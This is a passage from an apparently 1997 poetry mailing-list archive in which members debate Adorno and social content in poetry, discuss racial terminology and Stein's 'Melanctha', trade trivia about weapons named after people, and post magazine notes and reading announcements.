4) It distributes a wide range of images throughout a poem, but without an apparent purpose. It is unable to form recognizable patterns and therefore

confuses, increases the human distance of which I spoke earlier, and takes the power of interpretation away from the reader by not giving said reader a leg to stand on.

5) It is highly moral, in a tradition that would be in league with Jonathan Edwards if Edwards had known less about good prosody and efficient diction.

6) It treats language as substance, without the necessary human conviction behind anything but the gesture of the experiment.

In addition, a big problem with this type of aesthetic practice is that it is generally accepted by many that one does not have to like a poem to want to print it, read it, or do anything other than make paper airplanes out of it. The social content is well liked, but the poems themselves usually fall flat.

I don't see how any of the above benefits social causes in any way. Whereas, lyric poetry, by recognizing suffering, employing language to heighten sensitivity or sympathy, and appealing to the humane impulses of the reader was able to address similar social issues. But it contained the added depth of emotional suffering or joy, pleasure or pointed barbs aimed to provoke bourgeois pain. An aesthetics charged with the conviction of the self to confront social pressures invigorates and opens readers to the concerns the poet, who is really a cultural antennae, is conscious of and lives with in an awakened state of life. There are many poets writing today who fulfill my demands. There are many who don't. Unlike Hoa, I believe strongly in sides, because they will be drawn for you, or over you, unless you yourself take one and follow it to the bitter end. I don't mean to imply, however, that once you've been awakened to your own foolishness of pursuit it is impossible to switch sides. But you should be conscious of where you are standing, however uncomfortable that place may be.

I guess all I meant by this long-winded diatribe was that sometimes social issues cannot be represented by poetry but they can emanate from poems. Sometimes good poetry has nothing to do with social subjects but society is affected by what a poem offers. This bickering over who you use to represent your magazine is necessary. But it is also equally necessary to know what your magazines do to reflect a diversity of worlds both malignant and benign. Inspire or incite, but don't allow complacency to infect. And judging by what I see, and by my own small habits of life, that is easy to do.

Dale

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602. **Maria Damon**
Re: stereotypes
Mon 29 Sep 1997

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good point jordan, but it's still useful to hash things out; it's not always divide and conquer, sometimes it's (used to be) called "consciousness-raising" tho some might think "consciousness-razing" more accurate...

At 5:45 PM -0500 9/29/97, Jordan Davis wrote:
>I guess it's because I'm a straight white guy, but I've always suspected
>that the tension put _on the left_ about race and sex has been a divide and
>conquer strategy _by the right_ to divert attention from the real issue
>which is always money and power -- as long as money and power are God, or
>whatever god-position-substitute we're flavoring our breakfast with now.
>Who cares how we talk to eachother about these things? Are we doing so well
>we can afford to ignore the baiters? and what they're taking from our
>pockets as we're arguing?
>
>Signed,
>October 1929

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603. **mark weiss**
(no subject)
Mon 29 Sep 1997

It occurred to me, while secretly plotting the overthrow of the San Diego Mass Transit System (it's important to start small), that we're likely to know what a Molotov Cocktail is long after the Soviet Union, or for that matter the man himself, has been forgotten. A peculiar kind of immortality, for short time, anyway. I wonder what other instruments of destruction memorialize once-living humans. Who were Sten and Gattling? Any other items for this list?

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604. **Daniel Zimmerman**
(no subject)
Mon 29 Sep 1997

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mark weiss wrote:
>
> It occurred to me, while secretly plotting the overthrow of the San Diego
> Mass Transit System (it's important to start small), that we're likely to
> know what a Molotov Cocktail is long after the Soviet Union, or for that

> matter the man himself, has been forgotten. A peculiar kind of immortality,
> for short time, anyway. I wonder what other instruments of destruction
> memorialize once-living humans. Who were Sten and Gattling?
> Any other items for this list?

Well, Henry Shrapnel (1761-1842) comes to mind: the British artillery officer who pushed ballistics beyond club & concussion. And the Immelman turn in dogfighting [perhaps a vanishing mode of warfare], after its inventor, Max Immelman (1890-1916). More?

Dan Zimmerman

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605. **Hugh Steinberg**
(no subject)
Mon 29 Sep 1997

Mark writes:

> *It occurred to me, while secretly plotting the overthrow of the San Diego Mass Transit System (it's important to start small), that we're likely to know what a Molotov Cocktail is long after the Soviet Union, or for that matter the man himself, has been forgotten. A peculiar kind of immortality, for short time, anyway. I wonder what other instruments of destruction memorialize once-living humans. Who were Sten and Gattling? Any other items for this list?*

Richard Jordan Gatling, 1818-1903. Mainly an agricultural inventor, known for inventing a handcranked precursor to the machine gun. Offered it to the Union army, but they didn't take him up until 1866, after the war.

Sten was actually two people and one country: _S_heppard and _T_urpin and _En_gland.

Hugh Steinberg

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606. **Joel Felix**
(no subject)
Mon 29 Sep 1997

> *Mark writes:*
>
> *It occurred to me, while secretly plotting the overthrow of the San Diego Mass Transit System (it's important to start small), that we're likely to know what a Molotov Cocktail is long after the Soviet Union, or for that matter the man himself, has been forgotten. A peculiar kind of immortality, for short time, anyway. I wonder what other instruments of destruction*

> *memorialize once-living humans. Who were Sten and Gattling?*
> *Any other items for this list?*
>
> *Richard Jordan Gatling, 1818-1903. Mainly an agricultural inventor, known for inventing a handcranked precursor to the machine gun. Offered it to the Union army, but they didn't take him up until 1866, after the war.*

The world's not likely to forget Kalashnikov's (sp?) name any time soon. There was an article in the Chicago Tribune recently abt him -- how he was never recompensed for his invention by the soviets. Patents don't carry much weight in non capitalist societies.

Joel Felix

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607. **Rebecca Weldon**

The name and the paradox

Tue 30 Sep 1997

I find this discussion remarkable and think, only in America. I live in a country where the thousand shades of skin all have names. Where the opening conversation between strangers is a frank exploration of social origins and status. Where people speak a different LANGUAGE depending upon with whom they are speaking: royalty, high ranking bureaucrats and socialites, teachers, peers, employees and servants. I won't even broach the issues of foreign daughters-in-law.

The privileged Thai living in the United States must have had the shock of their life when they discovered that they were people of color. Perhaps the American melting pot is distilling a global method living with equality and justice for all; we certainly can use some boiling over here. Hey, I'm raising three children in this mess.

I just want to say that you've come a long way and you're not back at square one because someone wants to be or is IDENTIFIED. Also, I'd like to highlight the benefits of an attitude of moderation, it is helpful when discussion is in danger of becoming conflict. Moderation is an expression of caring, particularly appropriate to this group of passionate and caring people.

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608. **Kali Tal**

Weapons named after people & military slang

Tue 30 Sep 1997

> *It occurred to me, while secretly plotting the overthrow of the San Diego Mass Transit System (it's important to start small), that we're likely to*

> *know what a Molotov Cocktail is long after the Soviet Union, or for that matter the man himself, has been forgotten. A peculiar kind of immortality, for short time, anyway. I wonder what other instruments of destruction memorialize once-living humans. Who were Sten and Gattling? Any other items for this list?*

Gee, I love this stuff. These refs can be found in _War Slang_, by Paul Dickson.

Garand: M1 rifle, named after John Garand. (WWII)
General Grant: army tank (WWII)
General Lee: army tank (WWII)
Jack Johnson: a big shell, usually the German 17" (WWI)
Sam Browne: military belt named after Gen. Sir Samuel Joseph Browne (WWI)
Sherman necktie: named after Gen. Sherman; twisted iron rail used to disable Southern railroads in the Civil War

In the Immelman category, see:

Balbo: enormous flight formation named after Italian general Italo Balbo-- the one in the last scene of lots of WWII flicks Lufberry circle and Lufberry show, maneuvers attributed to American ace Raoul Lufberry (WWI)

Weapons named after women:

Aunt Jemima: explosive mixed with flour (WWII)
Betsy the Sniper: nickname for 155mm American cannon (WWI)
Big Bertha: German siege gun (WWI), named after Bertha Antoinette Krupp (yes, of *those* Krupps) von Bohlen und Halbach. The guns fired "Bertha pills." Bertha also came in "little" form, as a "105".
black Maria: high explosive shell allegedly named after an African American boarding house owner in Boston (WWI)
bouncing Betty: the everpopular antipersonnel mine (Vietnam)
coughing Clara: heavy artillery gun (WWII)
Dolly Parton: version of Soviet T-72 tank used by Iraqis. Had a rounded turret that reminded soldiers of the singer... (Gulf War)
hissing Jenny: large shell (WWI)
Maggie: magnetic mine (WWII)
peewee Matilda: small tank (WWII)
Rosalie: slang for bayonet (WWI)

Howitzers came in "grandma" and "mother" sizes (WWI)

There's something very compelling and immediate about military slang. It's often stripped directly from pop culture. John Wayne was the operational verb for heroic stupidity in the Viet Nam war; it shifted to Rambo in the Gulf. Some soldiers in VN called the country (and the war) The Brown Disneyland or Six Flags Over Nothing. Soldiers in the Gulf (especially the navy) started calling it

Wallyworld. The multi- level analysis implicit in claiming that a soldier missing-in-action has "gone Elvis" is hard to match, equalled only by that astonishing new term to describe the media war: Schwarzkrieg.

Kali

Kali Tal new WORD order PO Box 13746, Tucson AZ 85732-3746 http://www.new-word.com [redacted] (phone & fax)
"Web Design For Smart People"

Sixties Project [redacted]
http://jefferson.village.virginia.edu/sixties http://www.kalital.com

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609. Tom Orange
new Essex
Tue 30 Sep 1997

Essex -- (1/1, Spring 1997; 1/2, Summer/Fall 1997) Tailspin Press, 42 Essex Street, Buffalo NY, 14213. Subscriptions $20.00 (4 issues). Edited by Scott Pound and William R. Howe.

Meanwhile Essex is forging ahead on the verbovisual front. Again, variety: of media--laserprint rubberstamp xeroxographic-- and materials--mailinglabels foundtext snips imagetexts morphs impactedscrawl braincandy. And no surer was I that I had Essex 1/1 in a nutshell than Peter comes back from the small book fair in Toronto and brings over a copy of Essex 1/2 hot off the presses. Absent is the greywoven cardstock that has typecast some of the work coming out of Tailspin: 1/2 comes in a 9x12 manila clasp envelope, 18 unbound sheets! 1/2 is a Canadian issue, features work by Tara Azzopardi, Stephen Cain, Jeff Derksen, Deanna Ferguson, Peter Jaeger, Karl Jirgens, Steve McCaffery, Karen Mac Cormack, Lisa Robertson, and the editors. 1/1 has Christian B”k, Rose Withers, John M. Bennet, cris cheek, Michael Basinski, Wendy Kramer, Owen F. Smith, Darren Wersshler- Henry, and the editors. Pick these up, if only for the really cool tip-ins!

t.

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610. **Eliza McGrand**
Re: People of Color?
Tue 30 Sep 1997

> *So why don't you provoke something that helps instead of implying that references coined by particular groups other than your own make you uncomfortable*

... huh? whoa mike/dales.... a) why is it you assume one is obligated to provoke? that provoking turns up helpful things? on this list, "provoking," especially deliberate provoking, has been turning up a lot of discomfort and defensiveness that more often than not have clouded issues, so if it is up to me, i'd just as soon someone not take out their virtual acetylene torch and try and "provoke" up a storm; b) since when is the only constructive way to work out various thoughts to "provoke" anyway? what happened to discuss, tease out opposing realities, dissect into multiple facets and look for prevalance, ask for new ways to solve for x, etc? c) doesn't seem to me that there was anything about saying references coined by other groups than speaker's own make speaker uncomfortable. what was said was, and rightfully so, that inside of a group referents may be used which are offensive when used by one outside of group. two examples spring to mind - i've heard various black people use the word "nigger" in reference to self/each other, i.e. "i am one bad nigger" but for non-black person to use word would be grossly offensive; as woman, i might often jokingly refer to "the girls" as sort of warm and age-inclusive and self-teasing referent, or as sly referent to gay component, as in "she's cute -- think she's one of us girls?". but when a male refers to women as girls, well, i'm not through the ceiling about it most of the time but it can be kind of offensive. THAT is what post was about, not as you imply some effort to impose referents coined only by speaker's group, whatever you parse that to be.

finally, i see no opposition between looking for interesting responses and pointing out one interesting facet -- post was in fact another interesting facet on original thread -- insider/outsider viewpoint added to efforts to diversify added to racial/gender mix of mags.

maybe since poster put some effort into posting, might be better to respect poster's own words and not try and spin them into something else, eh? e

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611. **Eliza McGrand**
Re: stereotypes
Tue 30 Sep 1997

look, if i want to be a stereotype, i get to be one -- i gotta be me, ya know? e

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612. **Maria Damon (Maria Damon)**
Re: Social Tangles
Tue 30 Sep 1997

---

i think it possible to articulate provocative ideas and unpopular positions without the kind of personal attack the below instanciates. plenty of folks disagree with each other here, but accusing others of laziness (rusty gears in your head) and imputing motives to them is indecorous. your post on adorno was insightful and interesting but your attack on spt police uncalled for (the idea of SPT being in a policing role was so incongruous to me that i thought you must mean something else by SPT that i didn't know about). actually, now that i think about it, i did say something about the avant garde "policing its borders" a few months ago and got some defensive but on the whole thoughtful responses that made me realize my wording had been infelicitous.

At 9:41 AM 9/30/97, Dale Smith wrote:
>Ultimately, Dodie, what you sense as bad manners on my part is only my
>unwillingness to post the usual dull, obvious, and self-serving posts
>that frequent this list. You are against thought, as far as I can see,
>by reducing it, continually, to a high-minded form of self-righteousness
>and *manners.* The thing you don't get, is that we can have differing
>opinions without it being a bad form of etiquette.
>
>Ultimately, I think you respond out of fear and self defensiveness. I
>think what you dislike in my posts is that what you read begins to turn
>the rusty gears of pressure in your head, and that scares you. So, to
>stop that fear you challenge with problems of diversity or anything else
>that is convenient. You are not consistent with your charges on this
>list, and I am not the only one whom you continually slander. I mean,
>you do a pretty good job of covering your ass. But we can read between
>the lines.
>
>And I will speak my mind. If I am unfair, or out of line, and it's
>pointed out to me, I usually acknowledge it. And, as far as policing
>goes, my statement is completely accurate in terms of my experience with
>you on this list.
>
>It was wrong of me, in the context of my post the other day, to ask you
>for grace, of any kind. But, maybe it's a vestige of my bourgeious
>background. I find that grace gives others the opportunity to delay
>personal conflict. I lack this often myself. But much of what we say,

>as poets, is charged with the moment of articulation, and is
>unavoidable. This medium itself distorts us, pushes us to appear a bit
>more binomial that we would be in each other's presence. I think that
>tolerance of ideas is necessary. No doubt I sometimes come on strong,
>and will continue to do so. And you can have all kinds of problems with
>that. But I think it would benefit discussion on this list if arguments
>were based less on personal biases and founded more upon intelligent
>opposition or counter positions to those we disagree with.
>
>Yours, a little winded,
>Dale
>
>
>
>
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com

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613. **Tenney Nathanson**

Re: just buffalo

Tue 30 Sep 1997

Hi Mike.

glad to see (where) you landed.

best,

Tenney Nathanson

At 05:29 PM 9/29/97 -0400, you wrote:
>--------------533394C668EB701664F8D231
>Content-Type: text/plain; charset=us-ascii
>Content-Transfer-Encoding: 7bit
>
>Poet(ic)s in Buffalo,
> Sunday
> October 5
> at 2 p.m.
>
> SUSAN HOWE
> &

> LEE ANN BROWN
>
>
>will be reading as part of just buffalo's Writer's at Work Series at
>HALLWALL'S, followed by a book signing and public dinner (dinner
>location tba at reading).
>
>Susan will be introduced by Alicia Cohen, Lee Ann by Ben Friedlander.
>
>There will be a combined party for Lee Ann Brown and the opening of Anya
>Lewin's new gallery, Cornershop @ 82 Lafayette (at Dewitt, near Niagra)
>at 8pm on Saturday, October 4. If you need more info, call me at
>[redacted]. See you there.
>
>Mike
>

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

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614. Rachel Levitsky
Re: People of Color
Tue 30 Sep 1997

I'm currently a student at Naropa's writing program which has had it's own somewhat pathetic and not-so pathetic struggles and forrays into the issue of diversification. Being the only out and politically identified lesbian here has been a lesson in aloneness but no one ever said it'd be different. In my application I wrote that I understood that coming from a radical lesbian feminist tradition to the Jack Kerouac School of Disembodied Poetics to be an act of crossover. But I am interested in these acts, how someone who is so informed by (my) social positioning reconciles aestetic choices and community. Well, the erotic poetry lesbians were never going to publish me anyway.

Anyway here's an interesting anecdote and you'll excuse all my labeling which I'll call flavoring for the interest of the story and the list thread. Josepha Conrad (an Austrian/German immigrant) and I (what did Jane Bowles use to call herself? crippy dyke kike?--I'm not crippy yet) organized a group independent

study of the work and life of Gertrude Stein as there had been and were to be no intensives of women in the entire two years+ (though yes Blake, Pound, Joyce) that we would be students here (and because we were interested). There are two others in the group--interestingly enough, a young gay native american man, and a south asian woman, but who's looking. Last week we were considering our week's reading and came upon "Melanctha," the second portrait of _Three Lives_. A few of us had read a bit of it and/or heard other things of Stein's somewhat off views on american blacks and were surprised to read Richard Wright's comments on Melanctha "The style was so insitent and original and sang so quaintly that I took the book home. As I read it my ears were opened for the first time to the magic of the spoken word . I began to hear the speech of my grandmother, who spoke a deep, pure Negro dialect and with whom I had lived for many years." Ish thought Wright must have been blackmailed or something and the rest of us went about defending it all. Yet since the class and having read the piece, I am a bit confounded. Stein's stereotyping and blatent prejudices "Rose Johnson was a real black, tall, well built, sullen, stupid, childlike, good looking negress" seem to be a mix of her usual subverting and some truly skewed and limited observations. Do listlings have more information about it? Is there anywhere where Stein herself describes what she is trying to do in Melanctha? Critiques? Controversies over Wright's support?

best,

Rachel Levitsky

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615. lee ann brown

Hannah Weiner

Tue 30 Sep 1997

Dear List, Here is the wonderful piece Hannah Weiner wrote for her Tender Buttons book, silent teachers remembered sequel, published in 1994, in honor of her 65th birthday (November 4th)...The book is available through me or through Small Press Distribution: [redacted].

HANNAH WEINER SILENT TEACHER

hannah weiner was born to it in providence ri in 1928 and graduated from radcliffe college 1950 magna cum laude she then worked for three publishing houses got fired from all of them once for being too intellectual once for associating with aliens and once for being caught not slapping her bosses face she then turned to retailing and was an assistant buyer for fat ladies dresses in bloomingdales basement she married a psychiatrist freudian and divorced him four years later then she exaggerated but not lied herself into a job

designing lingerie and turned down her second request for marriage by this time she was making the rounds of galleries and parties in the early sixties and began to write poetry in 1963 both writing and designing were childhood ambitions she got a free course at the new school and found she couldnt write new york school poetry in fact she couldnt write her own words at all only the magritte poems written in and the fast are in her own words happily she discovered the international code of signals and found she could write about almost anything by using the code books these became rather wild performances followed by other performances like street works 1-7 and the fashion show poetry event she was very well reviewed because the art critic of the village voice was one of her partners she thus met the musicians performers pop artisits lesbians and poets of that time all this glory ended in 1970 when she became extremely psychic and hiding out in a cheap apartment wrote about nothing else in almost 100 notebooks see the fast the words began to appear in 1972 and led to the clairvoyant journal a three voice performance poetry book about learning explaining instructions and the counter voice years passed the language group moved in and so did the indians she still remembers meeting chawho at a party saying youre getting pretty old dont you think you should publish she did sixteen and spoke begin to introduce the teaching now she is reaching her ultimate achievement learned first at her grandmother's knee TEACHING SILENT she has dragged several poets into this with her gosh ma shes a real female tarpsichordist

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616. **Layne Russell**

Re: People of Color

Tue 30 Sep 1997

Schuchat Simon wrote:
>
> Gertrude Stein lived a long time and wrote many different works that each
> were the works that the time the works were written were the person that
> she was for that part of the time. When she wrote Melanctha did she know
> she was gay or did she know she was herself. She might have thought she
> was a scientist like William James was a scientist who explored and
> thought instead of experimented. Was she already free of her brother or
> was she still not trapped by her brother. Before the flowers of
> friendship faded friendship faded, is that a different person from Mrs
> Reynolds on one side or Wars I Have Known on another side. Gertrude
> Stein must have had something to do with Alfred North Whitehead besides
> being one of the three geniuses genii I should say the third side of the
> triangle was Picasso if I am remembering and I am remembering I think it

> was as it was. To say stop I only carried my father this far is to no
> longer worry about identity except as a problem. What Whitehead said was
> that I know where I am when I am lost but not where the other places
> are. Transfer this to identity and what is it it is that I know who I am
> but not who the others are. This is separate from transformation that is
> the being a little boy and then being a man. Is it the same as being I
> because of a little dog? I think it is very suitable. Was it
> satisfactory it was satisfactory. It was thinking as thought was going
> into itself without being what some other angle would see the thought
> being. Everybody understood who listened but the patient ones were not
> all of them. Does your little dog know you are a person of color?

Schuchat,

I thoroughly enjoyed this! Thanks for the liveliness shared here....

Layne

http://www.sonic.net/layne
"A Quiet Place" -- Poetry
http://www.sonic.net/layne/calendar.html
"Poets Leave Their Prints" -- Poetry Calendar

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617. **Maria Damon**
Re: Social Tangles
Tue 30 Sep 1997

---

i appreciate this thorough, thoughtful post. i'm not sure i'm all the way with adorno here, much as i admire him. he also was writing in a context of lyric being just about dead in germany, in a woeful state indeed; and also much "content-based" poetry/art was associated either with stalinism or with fascism, which had set itself against the "decadent, jewish" modernism. the context here is different.

At 6:01 PM -0700 9/29/97, Dale Smith wrote:
>There are two elements in these discussions I provoked. One is the need
>to represent diversity through poetic channels. Another is to satisfy
>oneís own demands, whatever they be, for formal poetic experimentation.
>These are elements I engage myself with also. My own idealistic
>dementia desires greater personal freedom for people of all backgrounds,
>whatever they be. This is a social concern that I am sympathetic to,
>due to personal experiences, state of mind, and because I prefer greater
>freedom over its opposite and wish to do unto others as they do unto me,
>etc. My other concern, however, is artistic, aesthetic. And that

>aesthetic is not socially based. My understanding of art has been
>influenced, for better or worse, by the amazingly compact but lucid
>contributions to this subject by Theodor Adorno. Others, many others,
>both living and dead, have influenced my thought as well. But Adorno
>addresses art with a compact clarity I appreciate. Anyway, for me, this
>kind of influence represents what I think of as a social exchange. And
>these exchanges happen all the time. They even happen on this list.
>Discussions of race, gender, sexual preference -- all of this and much
>more, including the overt power structures of economy under which we all
>live -- this is all socially necessary to argue, discuss, and debate.
>
>What I disagree with is the now accepted fact that art can contain, or
>represent in some way, the same sense of social urgency as a
>conversation, say, or discussions like those on this list. Artís power
>is not in what it addresses, but in what it is capable of reflecting.
>Its power is mimetically traced to something in nature, something in us
>as human beings. I donít mean nature as birds and bees either. I mean
>deeper elements of predation, hunger, desire, and * thought*, which is
>actually the bodyís tool. What I sense as false in poetry is often only
>an over statement of social urgency, expressed in terms that deny the
>very being from which such formal gestures originate. Often, poetry
>represses the humorous, self-conscious impulse from which we articulate
>our social desires. At times, ëexperiementalí forms, the ones, perhaps
>Kevin publishes in Mirage, though he doesnít necessarily like them,
>appear inhuman to me because they repel any human sympathy I might be
>capable of lending the poem. I often always agree with the social cause
>inherent in such poems. But the inhumane disregard for the reader
>strikes me as an ingenuine gesture on the poetís part. Because, as the
>poet strives to communicate social injustice, he or she alienates those
>who might otherwise support it. I realize humanism itself is suspect of
>foul play, and many have provided useful critiques regarding its values.
>So perhaps this is where my differences lie. Without being a
>philosopher, I donít know. I became a poet so that I would not have to
>make linear sense. I wanted to invigorate and create. Out of a sense
>of self-defense, however, today I will attempt to balance my more
>playful impulses.
>
>Smart, socially active poetry is often void of emotional cohesion, or
>even conflict. The lyric, as it was practiced in this language for
>centuries, has been replaced with the sentimental suburban barbecue
>flavors of that bland, relatively unengaged work of poets in the
>University journals, the New Yorker and Poetry. Iím really not

>attentive to that poetry in a way that qualifies me to speak of it at
>greater depth, so I wonít push it. But to me, itís rather, excuse the
>term, *useless* as a means of expanding my own sense of poetics.
>Another group that is more or less consistent in terms of form would be
>what I assume many of us practice, though I donít presume all of us. It
>has been influenced by a variety of well-meaning and compelling formal
>methods and theories. Many, but not all, Language Poets have careers of
>some kind in academia and their influence has spread to new generations
>of writers, such as my own. I will be reductive and say that their
>concerns are, as I once heard Harriet Mullin say, with the trinity of
>Class, Consciousness and Society. Many small journals and books publish
>poetry that, to my mind, adheres to this social trinity in terms of
>content. Its formal methodology is as diverse as the poets who practice
>this kind of poetics. But I would say that writers engaged in this
>activity do share certain elements in common. At the expense of
>sounding like Mark Wallace, Iíll enumerate.
>
>1) This Language-influenced poetry lacks a unified subject of
>expression, ie, the poemís voice is fragmented, or composed of many
>voices. It is paratactic and employed as a formal element. I suppose
>this is due to some mimetic sense of same disunity in the culture at
>large, and is potentially a valid expression of such.
>
>2) It is very smart and ironic, but it lacks a greater sense of humor
>and a more subtle intelligence.
>
>3) It is conscious of limits but doesnít know when to end a poem
>
>4) It distributes a wide range of images throughout a poem, but without
>an apparent purpose. It is unable to form recognizable patterns and
>therefore confuses, increases the human distance of which I spoke
>earlier, and takes the power of interpretation away from the reader by
>not giving said reader a leg to stand on.
>
>5) It is highly moral, in a tradition that would be in league with
>Jonathan Edwards if Edwards had known less about good prosody and
>efficient diction.
>
>6) It treats language as substance, without the necessary human
>conviction behind anything but the gesture of the experiment.
>
>In addition, a big problem with this type of aesthetic practice is that

>it is generally accepted by many that one does not have to like a poem
>to want to print it, read it, or do anything other than make paper
>airplanes out of it. The social content is well liked, but the poems
>themselves usually fall flat.
>
>I donít see how any of the above benefits social causes in any way.
>Whereas, lyric poetry, by recognizing suffering, employing language to
>heighten sensitivity or sympathy, and appealing to the humane impulses
>of the reader was able to address similar social issues. But it
>contained the added depth of emotional suffering or joy, pleasure or
>pointed barbs aimed to provoke bourgeois pain. An aesthetics charged
>with the conviction of the self to confront social pressures invigorates
>and opens readers to the concerns the poet, who is really a cultural
>antennae, is conscious of and lives with in an awakened state of life.
>There are many poets writing today who fulfill my demands. There are
>many who donít. Unlike Hoa, I believe strongly in sides, because they
>will be drawn for you, or over you, unless you yourself take one and
>follow it to the bitter end. I donít mean to imply, however, that once
>youíve been awakened to your own foolishness of pursuit it is impossible
>to switch sides. But you should be conscious of where you are standing,
>however uncomfortable that place may be.
>
>I guess all I meant by this long-winded diatribe was that sometimes
>social issues cannot be represented by poetry but they can emanate from
>poems. Sometimes good poetry has nothing to do with social subjects but
>society is affected by what a poem offers. This bickering over who you
>use to represent your magazine is necessary. But it is also equally
>necessary to know what your magazines do to reflect a diversity of
>worlds both malignant and benign. Inspire or incite, but donít allow
>complacency to infect. And judging by what I see, and by my own small
>habits of life, that is easy to do.
>
>Dale
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com

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618. **Schuchat Simon**
Re: People of Color
Tue 30 Sep 1997

Gertrude Stein lived a long time and wrote many different works that each were the works that the time the works were written were the person that she was for that part of the time. When she wrote Melanctha did she know she was gay or did she know she was herself. She might have thought she was a scientist like William James was a scientist who explored and thought instead of experimented. Was she already free of her brother or was she still not trapped by her brother. Before the flowers of friendship faded friendship faded, is that a different person from Mrs Reynolds on one side or Wars I Have Known on another side. Gertrude Stein must have had something to do with Alfred North Whitehead besides being one of the three geniuses genii I should say the third side of the triangle was Picasso if I am remembering and I am remembering I think it was as it was. To say stop I only carried my father this far is to no longer worry about identity except as a problem. What Whitehead said was that I know where I am when I am lost but not where the other places are. Transfer this to identity and what is it it is that I know who I am but not who the others are. This is separate from transformation that is the being a little boy and then being a man. Is it the same as being I because of a little dog? I think it is very suitable. Was it satisfactory it was satisfactory. It was thinking as thought was going into itself without being what some other angle would see the thought being. Everybody understood who listened but the patient ones were not all of them. Does your little dog know you are a person of color?

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619. **Bob Grotjohn**
Re: People of Color
Tue 30 Sep 1997

On Wright and Stein and "Rose Johnson was a real black, tall, well built, sullen, stupid, childlike, good looking negress." This would probably not have disturbed Wright much, at least if "Long Black Song" is any indication of Wright's attitude toward black women. The description of Rose seems almost like a model for the Sarah whom Wright creates in his story--I suspect that Rose is such a model and Stein an influence on Wright's style in "Long Black Song"--someone on the list might know that more certainly than I do. I don't think Sarah even gets a name until almost half way through the story--she's just "She." Stein's depiction of Rose may have been one of the things that attracted Wright, not something to which he would have objected. -- Bob Grotjohn

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620. **dbkk**
Re: People of Color
Tue 30 Sep 1997

At 3:30 AM -0400 9/30/97, Rachel Levitsky wrote:

> *Ish thought Wright must have been blackmailed or something and the rest of us went about defending it all. Yet since the class and having read the piece, I am a bit confounded. Stein's stereotyping and blatent prejudices "Rose Johnson was a real black, tall, well built, sullen, stupid, childlike, good looking negress" seem to be a mix of her usual subverting and some truly skewed and limited observations.*
> *Do listlings have more information about it? Is there anywhere where Stein herself describes what she is trying to do in Melanctha? Critiques? Controversies over Wright's support?*

Dear Rachel, if I were you I would try to get a copy of Aldon Nielsen's book "Reading Race" . . . a marvelous book which includes a chapter, or I guess part of a chapter, on just this controversy. He explores the historical background behind various black writers' endorsement of "Melanctha" (and other works by Gertrude Stein) and he can hardly write a sentence which isn't interesting all by itself. Beyond Stein he goes through the whole catalogue of US modernists and shows, one by one, how every one of them (OK a few exceptions) lets us down, or lets themselves down, on racial issues. Some amazing surprising stuff there. If you cannot find it at Naropa library or local library or bookstore let me know I will send you section on "Melanctha." Nielsen is actually on the Poetics list and if he were a gentleman, and not such a shrinking violet, he would send you the address of the publisher, thus increasing his readership base, possibly his royalties too, tho' that's far fetched. In any case I know you, Rachel, will thoroughly enjoy this book.

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621. **William Marsh**
Re: People of Color
Tue 30 Sep 1997

At 03:30 AM 9/30/97 -0400, Rachel Levitsky wrote:

> *Anyway here's an interesting anecdote and you'll excuse all my labeling which I'll call flavoring for the interest of the story and the list thread.*
> *Josepha Conrad (an Austrian/German immigrant) and I (what did Jane Bowles use to call herself? crippy dyke kike?--I'm not crippy yet) organized a group independent study of the work and life of Gertrude Stein as there had been and were to be no intensives of women in the entire two years+ (though yes Blake, Pound, Joyce) that we would be students here (and because we were interested). There are two others in the group--interestingly enough, a young gay native american man, and a south asian woman, but who's looking.*

> *Last week we were considering our week's reading and came upon "Melanctha," the second portrait of _Three Lives_. A few of us had read a bit of it and/or heard other things of Stein's somewhat off views on american blacks and were surprised to read Richard Wright's comments on Melanctha "The style was so insitent and original and sang so quaintly that I took the book home. As I read it my ears were opened for the first time to the magic of the spoken word . I began to hear the speech of my grandmother, who spoke a deep, pure Negro dialect and with whom I had lived for many years."*
>
> *Ish thought Wright must have been blackmailed or something and the rest of us went about defending it all. Yet since the class and having read the piece, I am a bit confounded. Stein's stereotyping and blatent prejudices "Rose Johnson was a real black, tall, well built, sullen, stupid, childlike, good looking negress" seem to be a mix of her usual subverting and some truly skewed and limited observations.*
>
> *Do listlings have more information about it? Is there anywhere where Stein herself describes what she is trying to do in Melanctha? Critiques? Controversies over Wright's support?*

Rachel:

Coincidentally, a reading group i participate in just finished discussing Stein's _Three Lives_ and had similar questions about her point-of-view assumptions in *Melanctha*. The Richard Wright quote--do you know what it comes from? where i'd find it? Is there more to it?

bill marsh

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622. **Dale Smith**
Re: Social Tangles
Tue 30 Sep 1997

Thanks for the contextual note Maria. The particular book of Adorno's I return to again and again, especially when under fire from the SPT Thought Police, is *Aesthetic Theory,* written, as I'm sure you know, late in the '60's before just before his death. Many of the issues Adorno addresses are, I believe, culturally relevant. He lived, after all, for many years in this country, and was responding to changing pressures of an increasingly, as he saw it, administered society both here and in western Europe. His critique is often aimed at the middle ground, between fascists and marxists both, in an attempt to confront the culture that grew out of the great destruction of WWII. That culture he responded to is also similar to our own in terms of comodification, administration of culture and art, and the continued limitation of the individual as a vehicle for expression in the face of opposition. So, I guess I must argue that Adorno's aesthetic context is similar to our own in more ways than, perhaps, you would allow. Not to deny the other influences you mentioned. Because I'm sure those

were very real pressures. But I think, especially in the later work, he is responding to issues very similar to what we face today.

>i appreciate this thorough, thoughtful post. i'm not sure i'm all the way
>with adorno here, much as i admire him. he also was writing in a context
>of lyric being just about dead in germany, in a woeful state indeed; and
>also much "content-based" poetry/art was associated either with stalinism
>or with fascism, which had set itself against the "decadent, jewish"
>modernism. the context here is different.
>
>

_____
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623. Rachel Levitsky
Re: People of Color?
Tue 30 Sep 1997

Thanks all for your great responses to the Stein question, the Nielson book sounds good, I'll check and get back whether I can find it. But to a more pressing matter.

Hoa Nguyen wrote:
>
> I would have responded to Mr. Pollet-- front channel-- but he also sent
> me a message saying basically the same thing back channel so I responded
> there.
>
> I am suprised no one else questioned what I thought was a rather
> provacative statement on Mr. Pollet's part. In my last communication
> with him, I suggested that maybe we take up this thread front channel
> and I am still uncertain whether there is general interest...
>
> "the usual dull, obvious, and self-serving post"--
>
> Hoa
> ----------

Hoa--

I'm found the post rather confusing because Mr. Pollet did not say what
his identity actually was. I didn't assume he was white, didn't assume
he'd be that silly and mean. It sort of reminds me of a conversation
about diversity in which everyone whines that there is too much labeling
happening, too much naming--assuming that naming things is simplifying
rather than complexifying. Who said so? Just like Stein was always
